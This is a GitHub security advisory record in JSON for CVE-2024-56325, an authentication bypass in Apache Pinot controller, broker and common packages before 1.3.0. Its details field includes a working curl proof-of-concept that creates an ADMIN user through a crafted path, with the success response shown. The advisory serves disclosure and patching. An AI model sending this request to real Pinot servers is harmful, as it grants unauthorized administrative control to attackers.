{
  "schema_version": "1.4.0",
  "id": "GHSA-6jwp-4wvj-6597",
  "modified": "2025-05-27T18:34:51Z",
  "published": "2025-04-01T09:30:20Z",
  "aliases": [
    "CVE-2024-56325"
  ],
  "summary": "Apache Pinot Vulnerable to Authentication Bypass",
  "details": "Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    },
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pinot:pinot-broker"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pinot:pinot-common"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.pinot:pinot-controller"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pinot/pull/14383"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/pinot"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/pinot/releases/tag/release-1.3.0"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/27/8"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-01T18:20:48Z",
    "nvd_published_at": "2025-04-01T09:15:15Z"
  }
}